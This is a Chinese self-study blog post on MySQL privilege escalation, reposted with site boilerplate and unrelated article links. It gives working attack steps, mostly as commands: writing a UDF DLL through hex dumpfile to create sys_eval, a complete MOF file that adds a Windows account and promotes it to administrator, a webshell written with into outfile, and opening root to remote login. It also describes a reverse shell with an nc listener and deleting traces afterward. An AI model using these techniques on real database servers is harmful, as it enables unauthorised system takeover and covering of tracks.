mysql提权总结(自学)

目录

MySQL数据库提权简介

UDF提权

原理

利用条件

利用准备

利用过程

MOF提权

原理

利用条件

利用过程

自启动提权

反弹shell提权

总结


MySQL数据库提权简介

一般数据库提权思路:

  1. 检测数据库的存在(探测端口)
  2. 获取到数据库的权限密码
  3. 查看数据库的类型分类

最主要的就是要获取到数据库的账号密码,获取方式大概有:

  • 读取网站的配置文件
  • 读取数据库备份文件下的库中的表的信息,例如MySQL数据库在mysql_user表中存储账户密码,使用cmd5-mysql5解码
  • 暴力破解账户密码,需要支持外联(mysql默认不支持)。可以使用密码脚本在本地爆破,也可以使用工具如msf的scanner mysql_login模块

MySQL数据库提权方式主要有三种

  • 使用sqlmap的--os-shell
  • 使用写入一句话木马,union select 1,一句话木马,3 into outfile/dumpfile 文件路径
  • udf提权
  • mof提权
  • 启动项提权-反弹shell-exp提权

UDF提权

原理

MySQL内置函数不满足需要,所以MySQL提供了添加新函数的机制,自行添加的MySQL函数就称作UDF(User-Defined-Function)。

用户可以自定义提权的函数(比如执行系统命令函数)来进行提权。

MySQL版本大于5.1版本:udf.dll文件必须放置在MySQL安装目录下的lib\plugin文件夹下

MySQL版本小于5.1版本:udf.dll文件在Window2003下放置在C:\Windows\System32下;在Windows2000放置在C:\Winnt\System32

利用条件

  • 获取到MySQL权限,或者说获取到MySQL账号密码,能够调用MySQL语句
  • MySQL具有写入功能,也就是secure_file_priv值不为具体值或者为固定某值,可以用SQL语句查询:
    show global variables like 'secure%';
  •  要有root权限,且要允许外连。root账户允许外连的SQL语句:
    grant all PRIVILEGS on *.* to 'root'@'192.168.15.249' identified by '112358';

利用准备

1、熟悉对方的MySQL目录结构和主机型号,使用SQL命令查看:

show variables like '%compile%';

 2、确定MySQL的目录结构,搜索位置

show variables like '%plugin%';    #查找具体目录
select @@basedir;        #查看MySQL目录

3、kali里面其实有自带的udf提权脚本,并且有32位和64位的版本,目录位置:

/usr/share/metasploit-framework/data/exploits/mysql

利用过程

  1. 如果有文件上传漏洞,可以使用蚁剑等工具连接之后,然后直接将提权脚本文件放入lib\plugin目录下,然后使用mysql终端,创建自定义函数sys_eval
    create function sys_eval returns string soname 'udf.dall';
  2. 直接在mysql终端创建目录,导入文件
    create table temp(data longblob);        #以二进制数据流容器longblob创建临时data表
    insert into temp(data) values (unhex('udf文件的16进制格式'));        #将udf.dll脚本的十六进制写入data表
    select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll";        #将udf文件导入到指定目录
    create function sys_eval returns string soname 'udf.dll';        #创建自定义函数sys_eval
  3. 调用脚本创建sys_eval函数 ,可以使用kali自带脚本也可以用msf进行提权

最后为了删除痕迹,要把刚刚新建的data表删掉。

MOF提权

原理

类似于udf提权,但成功率低,简单总结来说就是替换原来文件,然后利用自启动原理执行文件进行提权。

在Windows系统下,存在一个mof文件,路径C:/Windows/System32/wbem/mof/nullevt.mof,它的特点为每隔极短一段时间,便会以System权限自动运行文件内脚本,mof提权就是利用这点,将写好的mof文件导入该目录中,让它自动执行代码。

利用条件

  • 有mysql账号和密码
  • 目录可写入

利用过程

select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行完毕替换net user hsy 123456 /add换为
net localgroup administrators hsy/add 即可将用户提升管理员权限

自启动提权

利用条件:mysql开启外连;知道账号密码

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

使用msf 搜索使用mysql start-up模块 设置目标IP 账号密码 还可以写入反弹shell接受IP 写入启动项 需要对方启动系统,如果权限不够高,可以尝试反弹shell能否获取更高权限

反弹shell提权

mysql创建反弹函数select backshell(‘发送到的ip地址’,‘端口’),kali使用nc监听本地(攻击机)IP nc -l(本地)-p 端口

总结

  • mysql提权有很多种方法,有通过sqlmap的--os-shell、通过写入文件(outfile/dumpfile)、通过udf提权、通过mof提权、通过自启动提权等等
  • mysql提权需要的三个条件:要有能够执行数据库语句的权限(知道数据库账号密码);mysql数据库要有能够写入的权限,secure_file_priv的值不为具体值或者为某个具体值(为null表示禁止导入导出);mysql账号要有root权限,或者是有root权限的其他用户,且要允许外连
  • UDF提权原理是因为mysql提供自定义函数的功能,所以可以自定义提权的函数(例如命令执行等),而udf.dll文件放在数据库目录下的lib/plugin下
  • UDF提权利用方式可以通过蚁剑连接上传脚本后直接将udf.dll放置在目录下然后进行创建函数;也可以通过mysql命令语句执行,先创建表然后将文件内容的16进制传入表中,然后再通过写入文件函数dumpfile写入指定目录,最后再创建函数;还可以利用脚本进行创建函数(kali有自带的脚本,也可以通过msf等的脚本利用工具)。
  • MOF提权相对于UDF提权相对利用率较低,它是专门针对Windows提权的。原理是因为Windows下有一个mof文件,路径在C:/Windows/system32/webm/mog/nullevt.mof下,它特点是每隔一段时间,系统就会以root权限去执行这个文件,利用这一点就可以进行利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/752512.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Git——本地使用详解

目录 Git1、开始版本控制1.1、初始化Repository1.2、使目录脱离Git控制 2、把文件交给Git管控2.1、创建文件后交给Git2.2、git add之后再次修改文件2.3、git add "--all"与"."参数区别2.4、把暂存区的内容提交到存储库里存档 3、工作区、暂存区与存储库3.1…

java 如何使用Lambda表达式实现参数化方法

java 如何使用Lambda表达式实现参数化方法 在Java中,你可以使用Lambda表达式与参数化方法(也称为泛型方法)结合,创建灵活且可重用的代码。Lambda表达式允许你以简洁的方式表示函数式接口的实例,而泛型方法则允许你编写…

车规级芯片又添新成员!NCV7520FPR2G 可编程六路低压侧 MOSFET 预驱动器

NCV7520FPR2G是一款可编程六沟道低压侧 MOSFET 预驱动器,是一个 FLEXMOS™ 汽车级产品系列,用于驱动逻辑电平 MOSFET。NCV7520FPR2G可通过串行 SPI 和并行输入组合控制。该器件提供可兼容 3.3 V/5 V 的输入,串行输出驱动器可基于 3.3 V 或 5 …

24年 天软 专业课 C 数据结构

图片有点多,懒得一张一张传,放gayhub了[doge] https://github.com/lf-27/C_DS

Linux常用操作命令和服务器硬件基础知识

🌟 前言 欢迎来到我的技术小宇宙!🌌 这里不仅是我记录技术点滴的后花园,也是我分享学习心得和项目经验的乐园。📚 无论你是技术小白还是资深大牛,这里总有一些内容能触动你的好奇心。🔍 &#x…

【数据库】数据库基本知识

1.数据库的四个基本概念 1.1 数据:描述事务的符号记录 1.2 数据库:概括的说,数据库数据具有永久存储、有组织的、可共享的大量数据的集合,数据库中的数据按一定的数据模型组织、描述和储存,具有较小的冗余度、较高的…

大数据架构设计

本博客地址:https://security.blog.csdn.net/article/details/136657478 一. 基本概念 1、解决传统数据架构无法及时响应用户请求的常用解决方法: ● 增加异步处理队列,通过工作处理层批量处理异步处理队列中的数据修改请求。 ● 建立数据库…

进入docker容器中安装软件失败解,国外源慢,时间不同步,执行命令权限不够等问题解决办法

进入docker容器中安装软件失败解,时间不同步, 国外源慢,执行命令权限不够 等问题解决办法 首先我进入docker容器中,为了安装一个软件,引出了很多报错问题,报错如下: 1、无法用 ifconfig 或者 ip addr 的方…

kubernetes实战(1)之虚拟机centos搭建k8s集群

一,环境准备 centos7系统,每个系统2c2g,40g,centos7下载地址:centos-7.9.2009-isos-x86_64安装包下载_开源镜像站-阿里云 # 每个节点分别设置对应主机名 hostnamectl set-hostname master hostnamectl set-hostname …

【解读】NIST网络安全框架CSF 2.0

2014年,NIST(美国国家标准与技术研究所,类似于中国的工信部)首次发布了网络安全框架CSF(Cybersecurity Framework),十年后,在2024年2月26日发布了重大更新(CSF 2.0)&…

MATLAB中的符号计算是什么?如何使用它?

一、符号计算概述 符号计算,顾名思义,是一种基于符号而非数值的计算方式。在MATLAB中,符号计算是通过符号表达式来实现的,这些表达式由符号变量、符号运算符和括号等组成。符号变量可以是任何字母或单词,它们代表数学…

第100+2步 ChatGPT文献复现:ARIMAX预测肺结核 vol. 2

基于WIN10的64位系统演示 一、写在前面 各位大佬,不知大家是否把结果一复现出来了呢? 我们继续往下看,首先复习一下: 《PLoS One》杂志的2023年一篇题目为《A comparative study of three models to analyze the impact of ai…

Java进阶-主流框架总结与详解

一、Java框架概述 Java开发领域涵盖了众多框架,这些框架提供了丰富的功能和工具,帮助开发人员更高效地构建应用程序。其中,Spring框架是最为广泛应用的之一,它提供了全方位的解决方案,包括依赖注入、面向切面编程等&a…

HCIP —— 交换 (VLAN)

VLAN --- 虚拟局域网 在 HCIA 中 ,已经学过交换机的一些基础配置,下面进行回顾一些简单的内容。 1.创建VLAN VLAN ID --- 区别和标识不同的VLAN 使用范围:0-4095 , 由12位二进制构成。 0 和 4095 作为 保留的VLAN。 …

【R语言基础操作】

🍉CSDN小墨&晓末:https://blog.csdn.net/jd1813346972 个人介绍: 研一|统计学|干货分享          擅长Python、Matlab、R等主流编程软件          累计十余项国家级比赛奖项,参与研究经费10w、40w级横向 文…

simulink汽车动力特性模型

1、内容简介 略 76-可以交流、咨询、答疑 simulink汽车动力特性模型 节气门、Gasoline Engine、离合器、作动器 2、内容说明 略 齿轮半径1 0.06; 齿轮半径2 0.072; 有效齿轮半径 2/3*(radius2^3 - radius1^3)/(radius2^2 - radius1^2); 输入传动比 2.1; 输出传动比 1…

洛谷——查单词+简单题+火车线路 +无聊的数列+最大数——线段树

一、 线段树 P2412 查单词 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn)https://www.luogu.com.cn/problem/P2412 解析&#xff1a; 板子题&#xff0c;区间搜索&#xff0c;不需要区间修改 #include <bits/stdc.h> using namespace std; #define endl \n #define i…

【PHP + 代码审计】函数详解2.0

&#x1f36c; 博主介绍&#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 hacker-routing &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】 &#x1f389;点赞➕评论➕收…

python内置函数 D

python内置函数 D Python 解释器内置了很多函数和类型&#xff0c;任何时候都能使用。 D 名称描述delattr删除对象的属性。dict创建字典对象。dir列出对象的属性。divmod同时执行除法运算和取模运算&#xff0c;返回一个包含商和余数的元组。 delattr(object, name) delat…

HTML5实现一笔画游戏

HTML5实现一笔画游戏 一笔画问题 一笔画是图论科普中一个著名的问题&#xff0c;它起源于柯尼斯堡七桥问题科普。当时的东普鲁士哥尼斯堡城中有一条河&#xff0c;在这条河上有七座桥&#xff1a; 蓝色的代表河&#xff0c;这条河将城市分开成为四个区域&#xff0c;而七个橙…